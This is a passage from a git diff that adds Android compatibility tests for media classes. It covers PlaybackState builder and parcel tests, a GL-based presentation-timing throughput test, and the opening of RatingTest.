+        assertEquals(0L, state.getBufferedPosition());
+        assertEquals(0.0f, state.getPlaybackSpeed(), DELTA);
+        assertEquals(0L, state.getActions());
+        assertNull(state.getErrorMessage());
+        assertEquals(0L, state.getLastPositionUpdateTime());
+        assertEquals(MediaSession.QueueItem.UNKNOWN_ID, state.getActiveQueueItemId());
+        assertNull(state.getExtras());
+    }
+
+    /**
+     * Test following setter methods of {@link PlaybackState.Builder}:
+     * {@link PlaybackState.Builder#setState(int, long, float)}
+     * {@link PlaybackState.Builder#setActions(long)}
+     * {@link PlaybackState.Builder#setActiveQueueItemId(long)}
+     * {@link PlaybackState.Builder#setBufferedPosition(long)}
+     * {@link PlaybackState.Builder#setErrorMessage(CharSequence)}
+     * {@link PlaybackState.Builder#setExtras(Bundle)}
+     */
+    public void testBuilder_setterMethods() {
+        Bundle extras = new Bundle();
+        extras.putString(EXTRAS_KEY, EXTRAS_VALUE);
+
+        PlaybackState state = new PlaybackState.Builder()
+                .setState(PlaybackState.STATE_PLAYING, TEST_POSITION, TEST_PLAYBACK_SPEED)
+                .setActions(TEST_ACTIONS)
+                .setActiveQueueItemId(TEST_QUEUE_ITEM_ID)
+                .setBufferedPosition(TEST_BUFFERED_POSITION)
+                .setErrorMessage(TEST_ERROR_MSG)
+                .setExtras(extras)
+                .build();
+        assertEquals(PlaybackState.STATE_PLAYING, state.getState());
+        assertEquals(TEST_POSITION, state.getPosition());
+        assertEquals(TEST_PLAYBACK_SPEED, state.getPlaybackSpeed(), DELTA);
+        assertEquals(TEST_ACTIONS, state.getActions());
+        assertEquals(TEST_QUEUE_ITEM_ID, state.getActiveQueueItemId());
+        assertEquals(TEST_BUFFERED_POSITION, state.getBufferedPosition());
+        assertEquals(TEST_ERROR_MSG, state.getErrorMessage().toString());
+        assertEquals(EXTRAS_VALUE, state.getExtras().get(EXTRAS_KEY));
+    }
+
+    /**
+     * Test {@link PlaybackState.Builder#setState(int, long, float, long)}.
+     */
+    public void testBuilder_setStateWithUpdateTime() {
+        PlaybackState state = new PlaybackState.Builder().setState(
+                PlaybackState.STATE_REWINDING, TEST_POSITION,
+                TEST_PLAYBACK_SPEED_ON_REWIND, TEST_UPDATE_TIME).build();
+        assertEquals(PlaybackState.STATE_REWINDING, state.getState());
+        assertEquals(TEST_POSITION, state.getPosition());
+        assertEquals(TEST_PLAYBACK_SPEED_ON_REWIND, state.getPlaybackSpeed(), DELTA);
+        assertEquals(TEST_UPDATE_TIME, state.getLastPositionUpdateTime());
+    }
+
+    /**
+     * Test {@link PlaybackState.Builder#addCustomAction(String, String, int)}.
+     */
+    public void testBuilder_addCustomAction() {
+        ArrayList<PlaybackState.CustomAction> actions = new ArrayList<>();
+        PlaybackState.Builder builder = new PlaybackState.Builder();
+
+        for (int i = 0; i < 5; i++) {
+            actions.add(new PlaybackState.CustomAction.Builder(
+                    TEST_CUSTOM_ACTION + i, TEST_CUSTOM_ACTION_NAME + i, TEST_ICON_RESOURCE_ID + i)
+                    .build());
+            builder.addCustomAction(
+                    TEST_CUSTOM_ACTION + i, TEST_CUSTOM_ACTION_NAME + i, TEST_ICON_RESOURCE_ID + i);
+        }
+
+        PlaybackState state = builder.build();
+        assertEquals(actions.size(), state.getCustomActions().size());
+        for (int i = 0; i < actions.size(); i++) {
+            assertCustomActionEquals(actions.get(i), state.getCustomActions().get(i));
+        }
+    }
+
+    /**
+     * Test {@link PlaybackState.Builder#addCustomAction(PlaybackState.CustomAction)}.
+     */
+    public void testBuilder_addCustomActionWithCustomActionObject() {
+        Bundle extras = new Bundle();
+        extras.putString(EXTRAS_KEY, EXTRAS_VALUE);
+
+        ArrayList<PlaybackState.CustomAction> actions = new ArrayList<>();
+        PlaybackState.Builder builder = new PlaybackState.Builder();
+
+        for (int i = 0; i < 5; i++) {
+            actions.add(new PlaybackState.CustomAction.Builder(
+                    TEST_CUSTOM_ACTION + i, TEST_CUSTOM_ACTION_NAME + i, TEST_ICON_RESOURCE_ID + i)
+                    .setExtras(extras)
+                    .build());
+            builder.addCustomAction(new PlaybackState.CustomAction.Builder(
+                    TEST_CUSTOM_ACTION + i, TEST_CUSTOM_ACTION_NAME + i, TEST_ICON_RESOURCE_ID + i)
+                    .setExtras(extras)
+                    .build());
+        }
+
+        PlaybackState state = builder.build();
+        assertEquals(actions.size(), state.getCustomActions().size());
+        for (int i = 0; i < actions.size(); i++) {
+            assertCustomActionEquals(actions.get(i), state.getCustomActions().get(i));
+        }
+    }
+
+    /**
+     * Test {@link PlaybackState#writeToParcel(Parcel, int)}.
+     */
+    public void testWriteToParcel() {
+        Bundle extras = new Bundle();
+        extras.putString(EXTRAS_KEY, EXTRAS_VALUE);
+
+        PlaybackState.CustomAction customAction1 = new PlaybackState.CustomAction
+                .Builder(TEST_CUSTOM_ACTION, TEST_CUSTOM_ACTION_NAME, TEST_ICON_RESOURCE_ID)
+                .setExtras(extras)
+                .build();
+
+        PlaybackState.Builder builder =
+                new PlaybackState.Builder().setState(PlaybackState.STATE_CONNECTING, TEST_POSITION,
+                TEST_PLAYBACK_SPEED, TEST_UPDATE_TIME)
+                .setActions(TEST_ACTIONS)
+                .setActiveQueueItemId(TEST_QUEUE_ITEM_ID)
+                .setBufferedPosition(TEST_BUFFERED_POSITION)
+                .setErrorMessage(TEST_ERROR_MSG)
+                .setExtras(extras);
+
+        for (int i = 0; i < 5; i++) {
+            builder.addCustomAction(new PlaybackState.CustomAction.Builder(
+                    TEST_CUSTOM_ACTION + i, TEST_CUSTOM_ACTION_NAME + i, TEST_ICON_RESOURCE_ID + i)
+                    .setExtras(extras)
+                    .build());
+        }
+        PlaybackState state = builder.build();
+
+        Parcel parcel = Parcel.obtain();
+        state.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+
+        PlaybackState stateOut = PlaybackState.CREATOR.createFromParcel(parcel);
+        assertEquals(PlaybackState.STATE_CONNECTING, stateOut.getState());
+        assertEquals(TEST_POSITION, stateOut.getPosition());
+        assertEquals(TEST_PLAYBACK_SPEED, stateOut.getPlaybackSpeed(), DELTA);
+        assertEquals(TEST_UPDATE_TIME, stateOut.getLastPositionUpdateTime());
+        assertEquals(TEST_BUFFERED_POSITION, stateOut.getBufferedPosition());
+        assertEquals(TEST_ACTIONS, stateOut.getActions());
+        assertEquals(TEST_QUEUE_ITEM_ID, stateOut.getActiveQueueItemId());
+        assertEquals(TEST_ERROR_MSG, stateOut.getErrorMessage());
+        assertEquals(EXTRAS_VALUE, stateOut.getExtras().get(EXTRAS_KEY));
+
+        assertEquals(state.getCustomActions().size(), stateOut.getCustomActions().size());
+        for (int i = 0; i < state.getCustomActions().size(); i++) {
+            assertCustomActionEquals(state.getCustomActions().get(i),
+                    stateOut.getCustomActions().get(i));
+        }
+        parcel.recycle();
+    }
+
+    /**
+     * Test {@link PlaybackState#describeContents()}.
+     */
+    public void testDescribeContents() {
+        assertEquals(0, new PlaybackState.Builder().build().describeContents());
+    }
+
+    /**
+     * Test {@link PlaybackState.CustomAction}.
+     */
+    public void testCustomAction() {
+        Bundle extras = new Bundle();
+        extras.putString(EXTRAS_KEY, EXTRAS_VALUE);
+
+        // Test Builder/Getters
+        PlaybackState.CustomAction customAction = new PlaybackState.CustomAction
+                .Builder(TEST_CUSTOM_ACTION, TEST_CUSTOM_ACTION_NAME, TEST_ICON_RESOURCE_ID)
+                .setExtras(extras)
+                .build();
+        assertEquals(TEST_CUSTOM_ACTION, customAction.getAction());
+        assertEquals(TEST_CUSTOM_ACTION_NAME, customAction.getName().toString());
+        assertEquals(TEST_ICON_RESOURCE_ID, customAction.getIcon());
+        assertEquals(EXTRAS_VALUE, customAction.getExtras().get(EXTRAS_KEY));
+
+        // Test describeContents
+        assertEquals(0, customAction.describeContents());
+
+        // Test writeToParcel
+        Parcel parcel = Parcel.obtain();
+        customAction.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+
+        assertCustomActionEquals(customAction,
+                PlaybackState.CustomAction.CREATOR.createFromParcel(parcel));
+        parcel.recycle();
+    }
+
+    /**
+     * Tests that each ACTION_* constant does not overlap.
+     */
+    public void testActionConstantDoesNotOverlap() {
+        long[] actionConstants = new long[] {
+                PlaybackState.ACTION_STOP,
+                PlaybackState.ACTION_PAUSE,
+                PlaybackState.ACTION_PLAY,
+                PlaybackState.ACTION_REWIND,
+                PlaybackState.ACTION_SKIP_TO_PREVIOUS,
+                PlaybackState.ACTION_SKIP_TO_NEXT,
+                PlaybackState.ACTION_FAST_FORWARD,
+                PlaybackState.ACTION_SET_RATING,
+                PlaybackState.ACTION_SEEK_TO,
+                PlaybackState.ACTION_PLAY_PAUSE,
+                PlaybackState.ACTION_PLAY_FROM_MEDIA_ID,
+                PlaybackState.ACTION_PLAY_FROM_SEARCH,
+                PlaybackState.ACTION_SKIP_TO_QUEUE_ITEM,
+                PlaybackState.ACTION_PLAY_FROM_URI,
+                PlaybackState.ACTION_PREPARE,
+                PlaybackState.ACTION_PREPARE_FROM_MEDIA_ID,
+                PlaybackState.ACTION_PREPARE_FROM_SEARCH,
+                PlaybackState.ACTION_PREPARE_FROM_URI,
+                PlaybackState.ACTION_SET_PLAYBACK_SPEED};
+
+        // Check that the values are not overlapped.
+        for (int i = 0; i < actionConstants.length; i++) {
+            for (int j = i + 1; j < actionConstants.length; j++) {
+                assertEquals(0, actionConstants[i] & actionConstants[j]);
+            }
+        }
+    }
+
+    public void testIsActive() {
+        if (!MediaUtils.check(sIsAtLeastS, "testIsActive() requires Android 12")) {
+            return;
+        }
+        int[] activeStates = new int[] {
+                PlaybackState.STATE_FAST_FORWARDING,
+                PlaybackState.STATE_REWINDING,
+                PlaybackState.STATE_SKIPPING_TO_PREVIOUS,
+                PlaybackState.STATE_SKIPPING_TO_NEXT,
+                PlaybackState.STATE_SKIPPING_TO_QUEUE_ITEM,
+                PlaybackState.STATE_BUFFERING,
+                PlaybackState.STATE_CONNECTING,
+                PlaybackState.STATE_PLAYING};
+
+        int[] nonActiveStates = new int[] {
+                PlaybackState.STATE_NONE,
+                PlaybackState.STATE_STOPPED,
+                PlaybackState.STATE_PAUSED,
+                PlaybackState.STATE_ERROR};
+
+        for (int i = 0; i < activeStates.length; i++) {
+            PlaybackState activePlaybackState = new PlaybackState.Builder()
+                    .setState(activeStates[i], 0, 1.0f)
+                    .build();
+            assertTrue(activePlaybackState.isActive());
+        }
+        for (int i = 0; i < nonActiveStates.length; i++) {
+            PlaybackState nonActivePlaybackState = new PlaybackState.Builder()
+                    .setState(nonActiveStates[i], 0, 1.0f)
+                    .build();
+            assertFalse(nonActivePlaybackState.isActive());
+        }
+    }
+
+    private void assertCustomActionEquals(PlaybackState.CustomAction action1,
+            PlaybackState.CustomAction action2) {
+        assertEquals(action1.getAction(), action2.getAction());
+        assertEquals(action1.getName(), action2.getName());
+        assertEquals(action1.getIcon(), action2.getIcon());
+
+        // To be the same, two extras should be both null or both not null.
+        assertEquals(action1.getExtras() != null, action2.getExtras() != null);
+        if (action1.getExtras() != null) {
+            assertEquals(action1.getExtras().get(EXTRAS_KEY), action2.getExtras().get(EXTRAS_KEY));
+        }
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/PresentationSyncTest.java b/tests/tests/media/misc/src/android/media/misc/cts/PresentationSyncTest.java
new file mode 100644
index 0000000..1d0bd0c
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/PresentationSyncTest.java
@@ -0,0 +1,487 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import android.opengl.GLES20;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.Message;
+import android.os.Trace;
+import android.media.cts.InputSurface;
+import android.media.cts.MediaStubActivity;
+import android.media.cts.NonMediaMainlineTest;
+import android.platform.test.annotations.AppModeFull;
+import android.test.ActivityInstrumentationTestCase2;
+import android.test.suitebuilder.annotation.Suppress;
+import android.util.Log;
+import android.view.Choreographer;
+import android.view.SurfaceHolder;
+
+
+/**
+ * Tests synchronized frame presentation.
+ *
+ * SurfaceFlinger allows a "desired presentation time" value to be passed along with buffers of
+ * data.  This exercises that feature.
+ */
+@NonMediaMainlineTest
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class PresentationSyncTest extends ActivityInstrumentationTestCase2<MediaStubActivity>
+        implements SurfaceHolder.Callback {
+    private static final String TAG = "PresentationSyncTest";
+    private static final boolean VERBOSE = false;           // lots of logging
+    private static final int FRAME_COUNT = 512;             // ~10 sec @ 60fps
+
+    // message values
+    private static final int START_TEST = 0;
+    private static final int END_TEST = 1;
+
+    // width and height of the Surface we're given to draw on
+    private int mWidth;
+    private int mHeight;
+
+    public PresentationSyncTest() {
+        super(MediaStubActivity.class);
+    }
+
+    /**
+     * Tests whether the output frame rate can be limited by the presentation time.
+     * <p>
+     * Generates and displays the same series of images three times.  The first run uses "now"
+     * as the desired presentation time to establish an estimate of the refresh time.  Later
+     * runs set the presentation time to (start_time + frame_number * refresh_time * multiplier),
+     * with the expectation that a multiplier of 2 will cause the animation to render at
+     * half speed.
+     * <p>
+     * This test does not use Choreographer.  The longer the test runs, the farther out of
+     * phase the test will become with respect to the actual vsync timing.
+     * <p>
+     * Setting the presentation time for a frame is most easily done through an EGL extension,
+     * so we render each frame through GL.
+     *
+     * @throws Exception
+     */
+    public void testThroughput() throws Exception {
+        // Get the Surface from the SurfaceView.
+        // TODO: is it safe to assume that it's ready?
+        SurfaceHolder holder = getActivity().getSurfaceHolder();
+        holder.addCallback(this);
+
+        // We use the width/height to render a simple series of patterns.  If we get this
+        // wrong it shouldn't really matter -- some driver optimizations might make things
+        // faster, but it shouldn't affect how long it takes the frame to be displayed.
+        //
+        // We can get this from the View or from the EGLSurface.  We don't have easy direct
+        // access to any of those things, so just ask our InputSurface to get it from EGL,
+        // since that's where we're drawing.
+        //
+        // Note: InputSurface was intended for a different purpose, but it's 99% right for our
+        // needs.  Maybe rename it to "RecordableSurface"?  Or trivially wrap it with a
+        // subclass that suppresses the EGL_RECORDABLE_ANDROID flag?
+        InputSurface output = new InputSurface(holder.getSurface());
+        mWidth = output.getWidth();
+        mHeight = output.getHeight();
+        Log.d(TAG, "Surface w=" + mWidth + " h=" + mHeight);
+        output.makeCurrent();
+
+        // Run a test with no presentation times specified.  Assuming nothing else is
+        // fighting us for resources, all frames should display as quickly as possible,
+        // and we can estimate the refresh rate of the device.
+        long baseTimeNsec = runThroughputTest(output, 0L, -1.0f);
+        long refreshNsec = baseTimeNsec / FRAME_COUNT;
+        Log.i(TAG, "Using " + refreshNsec + "ns as refresh rate");
+
+        // Run tests with times specified, at 1.3x, 1x, 1/2x, and 1/4x speed.
+        //
+        // One particular device is overly aggressive at reducing clock frequencies, and it
+        // will slow things to the point where we can't push frames quickly enough in the
+        // faster test.  By adding an artificial workload in a second thread we can make the
+        // system run faster.  (This could have a detrimental effect on a single-core CPU,
+        // so it's a no-op there.)
+        CpuWaster cpuWaster = new CpuWaster();
+        try {
+            cpuWaster.start();
+            // Tests with mult < 1.0f are flaky, for two reasons:
+            //
+            // (a) They assume that the GPU can render the test scene in less than mult*refreshNsec.
+            //     It's a simple scene, but CTS/CDD don't currently require being able to do more
+            //     than a full-screen clear in refreshNsec.
+            //
+            // (b) More importantly, it assumes that the only rate-limiting happening is
+            //     backpressure from the buffer queue. If the EGL implementation is doing its own
+            //     rate-limiting (to limit the amount of work queued to the GPU at any time), then
+            //     depending on how that's implemented the buffer queue may not have two frames
+            //     pending very often. So the consumer won't be able to drop many frames, and the
+            //     throughput won't be much better than with mult=1.0.
+            //
+            // runThroughputTest(output, refreshNsec, 0.75f);
+            cpuWaster.stop();
+            runThroughputTest(output, refreshNsec, 1.0f);
+            runThroughputTest(output, refreshNsec, 2.0f);
+            runThroughputTest(output, refreshNsec, 4.0f);
+        } finally {
+            cpuWaster.stop();
+        }
+
+        output.release();
+    }
+
+    /**
+     * Runs the throughput test on the provided surface with the specified time values.
+     * <p>
+     * If mult is -1, the test runs in "training" mode, rendering frames as quickly as
+     * possible.  This can be used to establish a baseline.
+     * <p>
+     * @return the test duration, in nanoseconds
+     */
+    private long runThroughputTest(InputSurface output, long frameTimeNsec, float mult) {
+        Log.d(TAG, "runThroughputTest: " + mult);
+
+        // Sleep briefly.  This is strangely necessary on some devices to allow the GPU to
+        // catch up (b/10898363).  It also provides an easily-visible break in the systrace
+        // output.
+        try { Thread.sleep(50); }
+        catch (InterruptedException ignored) {}
+
+        long startNsec = System.nanoTime();
+        long showNsec = 0;
+
+        if (true) {
+            // Output a frame that creates a "marker" in the --latency output
+            drawFrame(0, mult);
+            Trace.beginSection("TEST BEGIN");
+            output.swapBuffers();
+            Trace.endSection();
+            startNsec = System.nanoTime();
+        }
+
+        for (int frameNum = 0; frameNum < FRAME_COUNT; frameNum++) {
+            if (mult != -1.0f) {
+                showNsec = startNsec + (long) (frameNum * frameTimeNsec * mult);
+            }
+            drawFrame(frameNum, mult);
+            if (mult != -1.0f) {
+                output.setPresentationTime(showNsec);
+            }
+            Trace.beginSection("swapbuf " + frameNum);
+            output.swapBuffers();
+            Trace.endSection();
+        }
+
+        long endNsec = System.nanoTime();
+        long actualNsec = endNsec - startNsec;
+
+        if (mult != -1) {
+            // Some variation is inevitable, but we should be within a few percent of expected.
+            long expectedNsec = (long) (frameTimeNsec * FRAME_COUNT * mult);
+            long deltaNsec = Math.abs(expectedNsec - actualNsec);
+            double delta = (double) deltaNsec / expectedNsec;
+            final double MAX_DELTA = 0.05;
+            if (delta > MAX_DELTA) {
+                throw new RuntimeException("Time delta exceeds tolerance (" + MAX_DELTA +
+                        "): mult=" + mult + ": expected=" + expectedNsec +
+                        " actual=" + actualNsec + " p=" + delta);
+
+            } else {
+                Log.d(TAG, "mult=" + mult + ": expected=" + expectedNsec +
+                        " actual=" + actualNsec + " p=" + delta);
+            }
+        }
+        return endNsec - startNsec;
+    }
+
+
+    /**
+     * Exercises the test code, driving it off of Choreographer.  The animation is driven at
+     * full speed, but with rendering requested at a future time.  With each run the distance
+     * into the future is increased.
+     * <p>
+     * Loopers can't be reused once they quit, so it's easiest to create a new thread for
+     * each run.
+     * <p>
+     * (This isn't exactly a test -- it's primarily a way to exercise the code.  Evaluate the
+     * results with "dumpsys SurfaceFlinger --latency SurfaceView" for each multiplier.
+     * The idea is to see frames where the desired-present is as close as possible to the
+     * actual-present, while still minimizing frame-ready.  If we go too far into the future
+     * the BufferQueue will start to back up.)
+     * <p>
+     * @throws Exception
+     */
+    public void suppressed_testChoreographed() throws Throwable {
+        // Get the Surface from the SurfaceView.
+        // TODO: is it safe to assume that it's ready?
+        SurfaceHolder holder = getActivity().getSurfaceHolder();
+        holder.addCallback(this);
+
+        InputSurface output = new InputSurface(holder.getSurface());
+        mWidth = output.getWidth();
+        mHeight = output.getHeight();
+        Log.d(TAG, "Surface w=" + mWidth + " h=" + mHeight);
+
+        for (int i = 1; i < 5; i++) {
+            ChoreographedWrapper.runTest(this, output, i);
+        }
+
+        output.release();
+    }
+
+    /**
+     * Shifts the test to a new thread, so we can manage our own Looper.  Any exception
+     * thrown on the new thread is propagated to the caller.
+     */
+    private static class ChoreographedWrapper implements Runnable {
+        private final PresentationSyncTest mTest;
+        private final InputSurface mOutput;
+        private final int mFrameDelay;
+        private Throwable mThrowable;
+
+        private ChoreographedWrapper(PresentationSyncTest test, InputSurface output,
+                int frameDelay) {
+            mTest = test;
+            mOutput = output;
+            mFrameDelay = frameDelay;
+        }
+
+        @Override
+        public void run() {
+            try {
+                mTest.runChoreographedTest(mOutput, mFrameDelay);
+            } catch (Throwable th) {
+                mThrowable = th;
+            }
+        }
+
+        /** Entry point. */
+        public static void runTest(PresentationSyncTest obj, InputSurface output,
+                int frameDelay) throws Throwable {
+            ChoreographedWrapper wrapper = new ChoreographedWrapper(obj, output, frameDelay);
+            Thread th = new Thread(wrapper, "sync test");
+            th.start();
+            th.join();
+            if (wrapper.mThrowable != null) {
+                throw wrapper.mThrowable;
+            }
+        }
+    }
+
+    /**
+     * Runs the test, driven by callbacks from the Looper we define here.
+     */
+    private void runChoreographedTest(InputSurface output, int frameDelay) {
+        Log.d(TAG, "runChoreographedTest");
+
+        output.makeCurrent();
+        final ChoRunner chore = new ChoRunner(output);
+
+        Looper.prepare();
+        Handler handler = new Handler() {
+            @Override
+            public void handleMessage(Message msg) {
+                switch (msg.what) {
+                    case START_TEST:
+                        Log.d(TAG, "Starting test");
+                        chore.start(this, msg.arg1 /*frameDelay*/);
+                        break;
+                    case END_TEST:
+                        Log.d(TAG, "Ending test");
+                        Looper.myLooper().quitSafely();
+                        break;
+                    default:
+                        Log.d(TAG, "unknown message " + msg.what);
+                        break;
+                }
+            }
+        };
+
+        handler.sendMessage(Message.obtain(handler, START_TEST, frameDelay, 0));
+
+        Log.d(TAG, "looping (frameDelay=" + frameDelay + ")");
+        long startNanos = System.nanoTime();
+        Trace.beginSection("TEST BEGIN fd=" + frameDelay);
+        Looper.loop();
+        Trace.endSection();
+        long durationNanos = System.nanoTime() - startNanos;
+        Log.d(TAG, "loop exiting after " + durationNanos +
+                " (" + durationNanos / FRAME_COUNT + "ns)");
+
+        output.makeUnCurrent();
+    }
+
+
+    private class ChoRunner implements Choreographer.FrameCallback {
+        private final InputSurface mOutput;
+        private int mFrameDelay;
+        private Handler mHandler;
+        private int mCurFrame;
+        private Choreographer mChocho;
+        private long mPrevFrameTimeNanos;
+        private long mFrameDiff;
+
+        public ChoRunner(InputSurface output) {
+            mOutput = output;
+        }
+
+        public void start(Handler handler, int frameDelay) {
+            mHandler = handler;
+            mFrameDelay = frameDelay;
+
+            mCurFrame = 0;
+            mChocho = Choreographer.getInstance();
+            mChocho.postFrameCallback(this);
+        }
+
+        @Override
+        public void doFrame(long frameTimeNanos) {
+            if (mPrevFrameTimeNanos != 0) {
+                // Update our vsync rate guess every frame so that, if we start with a
+                // stutter, we don't carry it for the whole test.
+                assertTrue(frameTimeNanos > mPrevFrameTimeNanos);
+                long prevDiff = frameTimeNanos - mPrevFrameTimeNanos;
+                if (mFrameDiff == 0 || mFrameDiff > prevDiff) {
+                    mFrameDiff = prevDiff;
+                    Log.d(TAG, "refresh rate approx " + mFrameDiff + "ns");
+                }
+
+                // If the current diff is >= 2x the expected frame time diff, we stuttered
+                // and need to drop a frame.  (We might even need to drop more than one
+                // frame; ignoring that for now.)
+                if (prevDiff > mFrameDiff * 1.9) {
+                    Log.d(TAG, "skip " + mCurFrame + " diff=" + prevDiff);
+                    mCurFrame++;
+                }
+            }
+            mPrevFrameTimeNanos = frameTimeNanos;
+
+            if (mFrameDiff != 0) {
+                // set desired display time to N frames in the future, rather than ASAP.
+                //
+                // Note this is a "don't open until Xmas" feature.  If vsyncs are happening
+                // at times T1, T2, T3, and we want the frame to appear onscreen when the
+                // buffers flip at T2, then we can theoretically request any time value
+                // in [T1, T2).
+                mOutput.setPresentationTime(frameTimeNanos + (mFrameDiff * mFrameDelay));
+            }
+
+            drawFrame(mCurFrame, mFrameDelay);
+            Trace.beginSection("swapbuf " + mCurFrame);
+            mOutput.swapBuffers();
+            Trace.endSection();
+
+            if (++mCurFrame < FRAME_COUNT) {
+                mChocho.postFrameCallback(this);
+            } else {
+                mHandler.sendMessage(Message.obtain(mHandler, END_TEST));
+            }
+        }
+    }
+
+    /**
+     * Draws a frame with GLES in the current context.
+     */
+    private void drawFrame(int num, float mult) {
+        num %= 64;
+        float colorVal;
+
+        if (mult > 0) {
+            colorVal = 1.0f / mult;
+        } else {
+            colorVal = 0.1f;
+        }
+
+        int startX, startY;
+        startX = (num % 16) * (mWidth / 16);
+        startY = (num / 16) * (mHeight / 4);
+        if ((num >= 16 && num < 32) || (num >= 48)) {
+            // reverse direction
+            startX = (mWidth - mWidth/16) - startX;
+        }
+
+        // clear screen
+        GLES20.glClearColor(0.2f, 0.2f, 0.2f, 1.0f);
+        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
+
+        // draw rect
+        GLES20.glEnable(GLES20.GL_SCISSOR_TEST);
+        GLES20.glScissor(startX, startY, mWidth / 16, mHeight / 4);
+        GLES20.glClearColor(colorVal, 1 - colorVal, 0.0f, 1.0f);
+        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
+        GLES20.glDisable(GLES20.GL_SCISSOR_TEST);
+    }
+
+    @Override
+    public void surfaceCreated(SurfaceHolder holder) {
+        Log.d(TAG, "surfaceCreated");
+    }
+
+    @Override
+    public void surfaceChanged(SurfaceHolder holder, int format, int width,
+            int height) {
+        // This doesn't seem to happen in practice with current test framework -- Surface is
+        // already created before we start, and the orientation is locked.
+        Log.d(TAG, "surfaceChanged f=" + format + " w=" + width + " h=" + height);
+        mWidth = width;
+        mHeight = height;
+    }
+
+    @Override
+    public void surfaceDestroyed(SurfaceHolder holder) {
+        Log.d(TAG, "surfaceDestroyed");
+    }
+
+
+    /**
+     * Wastes CPU time.
+     * <p>
+     * The start() and stop() methods must be called from the same thread.
+     */
+    private static class CpuWaster {
+        volatile boolean mRunning = false;
+
+        public void start() {
+            if (mRunning) {
+                throw new IllegalStateException("already running");
+            }
+
+            if (Runtime.getRuntime().availableProcessors() < 2) {
+                return;
+            }
+
+            mRunning = true;
+
+            new Thread("Stupid") {
+                @Override
+                public void run() {
+                    while (mRunning) { /* spin! */ }
+                }
+            }.start();
+
+            // sleep briefly while the system re-evaluates its load (might want to spin)
+            try { Thread.sleep(10); }
+            catch (InterruptedException ignored) {}
+        }
+
+        public void stop() {
+            if (mRunning) {
+                mRunning = false;
+
+                // give the system a chance to slow back down
+                try { Thread.sleep(10); }
+                catch (InterruptedException ignored) {}
+            }
+        }
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/RatingTest.java b/tests/tests/media/misc/src/android/media/misc/cts/RatingTest.java
new file mode 100644
index 0000000..9b6975a
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/RatingTest.java
@@ -0,0 +1,226 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import static android.media.Rating.RATING_3_STARS;
+import static android.media.Rating.RATING_4_STARS;
+import static android.media.Rating.RATING_5_STARS;
+import static android.media.Rating.RATING_HEART;
+import static android.media.Rating.RATING_NONE;
+import static android.media.Rating.RATING_PERCENTAGE;
+import static android.media.Rating.RATING_THUMB_UP_DOWN;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.media.Rating;
+import android.os.Parcel;
+import android.media.cts.NonMediaMainlineTest;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests {@link android.media.Rating}.
+ *
+ * TODO: Tests for applying invalid method (e.g. heartRating.getPercentRating()).
+ * TODO: Tests for methods inherited from Parcelable
+ */
+@NonMediaMainlineTest
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RatingTest {
+
+    @Test
+    public void testNewUnratedRating() {
+        final int[] ratingStyles = new int[] { RATING_HEART, RATING_THUMB_UP_DOWN, RATING_3_STARS,
+                RATING_4_STARS, RATING_5_STARS, RATING_PERCENTAGE };
+        for (int ratingStyle : ratingStyles) {
+            Rating rating = Rating.newUnratedRating(ratingStyle);
+            assertNotNull(rating);
+            assertEquals(ratingStyle, rating.getRatingStyle());
+            assertFalse(rating.isRated());
+        }
+
+        final int[] invalidRatingStyles = new int[] {RATING_NONE, -1};
+        for (int invalidRatingStyle : invalidRatingStyles) {
+            Rating rating = Rating.newUnratedRating(invalidRatingStyle);
+            assertNull(rating);
+        }
+    }
+
+    @Test
+    public void testHeartRating() {
+        Rating ratingWithHeart = Rating.newHeartRating(/*hasHeart=*/ true);
+        assertEquals(RATING_HEART, ratingWithHeart.getRatingStyle());
+        assertTrue(ratingWithHeart.hasHeart());
+        assertTrue(ratingWithHeart.isRated());
+
+        Rating ratingWithoutHeart = Rating.newHeartRating(/*hasHeart=*/ false);
+        assertEquals(RATING_HEART, ratingWithoutHeart.getRatingStyle());
+        assertFalse(ratingWithoutHeart.hasHeart());
+        assertTrue(ratingWithoutHeart.isRated());
+    }
+
+    @Test
+    public void testHeartRatingWithIllegalRatingValueGetters() {
+        Rating ratingWithHeart = Rating.newHeartRating(/*hasHeart=*/ true);
+        assertFalse(ratingWithHeart.isThumbUp());
+        assertTrue(ratingWithHeart.getStarRating() < 0f);
+        assertTrue(ratingWithHeart.getPercentRating() < 0f);
+    }
+
+    @Test
+    public void testThumbRating() {
+        Rating ratingThumbUp = Rating.newThumbRating(/*thumbIsUp=*/ true);
+        assertEquals(RATING_THUMB_UP_DOWN, ratingThumbUp.getRatingStyle());
+        assertTrue(ratingThumbUp.isThumbUp());
